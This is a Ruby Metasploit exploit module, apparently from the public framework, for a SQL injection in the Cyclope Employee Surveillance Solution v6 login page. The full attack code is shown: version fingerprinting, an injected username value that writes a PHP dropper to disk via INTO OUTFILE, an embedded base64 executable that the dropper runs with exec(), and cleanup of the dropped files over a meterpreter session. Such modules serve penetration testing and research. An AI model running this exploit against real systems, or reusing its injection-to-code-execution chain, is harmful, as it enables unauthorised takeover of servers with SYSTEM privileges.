cyclope_ess_sqli.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Cyclope Employee Surveillance Solution v6 SQL Injection",
        'Description' => %q{
          This module exploits a SQL injection found in Cyclope Employee Surveillance
          Solution.  Because the login script does not properly handle the user-supplied
          username parameter, a malicious user can manipulate the SQL query, and allows
          arbitrary code execution under the context of 'SYSTEM'.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'loneferret', # Original discovery, PoC
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2012-10047'],
          ['OSVDB', '84517'],
          ['EDB', '20393']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
        'Platform' => 'win',
        'Targets' => [
          ['Cyclope Employee Surveillance Solution v6.2 or older', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-08-08',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('RPORT', [true, "The web application's port", 7879]),
        OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    peer = "#{rhost}:#{rport}"
    path = File.dirname("#{target_uri.path}/.")
    b64_version = get_version(path)
    if b64_version.empty?
      vprint_error("Unable to determine the version number")
    else
      b64_version = Rex::Text.decode_base64(b64_version)
      if b64_version =~ /^[0-6]\.1/
        return Exploit::CheckCode::Appears
      end
    end

    return Exploit::CheckCode::Safe
  end

  def get_version(path)
    res = send_request_raw({ 'uri' => "#{path}index.php" })
    return '' if not res

    v = res.body.scan(/\<link rel\=\"stylesheet\" type\=\"text\/css\" href\=\"([\w\=]+)\/css\/.+\" \/\>/).flatten[0]
    return '' if not v

    return v
  end

  def on_new_session(cli)
    if cli.type != 'meterpreter'
      print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
      return
    end

    cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

    begin
      print_warning("Deleting #{@php_fname}")
      cli.fs.file.rm(@php_fname)
    rescue ::Exception => e
      print_error("Please note: #{@php_fname} is stil on disk.")
    end

    begin
      print_warning("Deleting #{@exe_fname}")
      cli.fs.file.rm(@exe_fname)
    rescue ::Exception => e
      print_error("Please note: #{@exe_fname} is still on disk.")
    end
  end

  def get_php_payload(fname)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %Q|
    <?php
    $f = fopen("#{fname}", "wb");
    fwrite($f, base64_decode("#{p}"));
    fclose($f);
    exec("#{fname}");
    ?>
    |
    php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
    return php
  end

  def exploit
    peer = "#{rhost}:#{rport}"
    path = File.dirname("#{target_uri.path}/.")

    #
    # Need to fingerprint the version number in Base64 for the payload path
    #
    b64_version = get_version(path)
    if b64_version.empty?
      print_error("Unable to determine the version number")
      return
    end

    print_status("Obtained version: #{Rex::Text.decode_base64(b64_version)}")

    #
    # Prepare our payload (naughty exe embedded in php)
    #
    @exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
    @php_fname = Rex::Text.rand_text_alpha(6) + '.php'
    php = get_php_payload(@exe_fname).unpack("H*")[0]
    sqli = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/#{b64_version}/#{@php_fname}' LINES TERMINATED BY 0x#{php}) and '1'='1"

    #
    # Inject payload
    #
    print_status("Injecting PHP payload...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => path,
      'vars_post' => {
        'act' => 'auth-login',
        'pag' => 'login',
        'username' => sqli,
        'password' => Rex::Text.rand_text_alpha(5)
      }
    })

    #
    # Load our payload
    #
    print_status("Loading payload: #{path}#{b64_version}/#{@php_fname}")
    send_request_raw({ 'uri' => "#{path}#{b64_version}/#{@php_fname}" })
    if res and res.code == 404
      print_error("Server returned 404, the upload attempt probably failed")
      return
    end

    handler
  end
end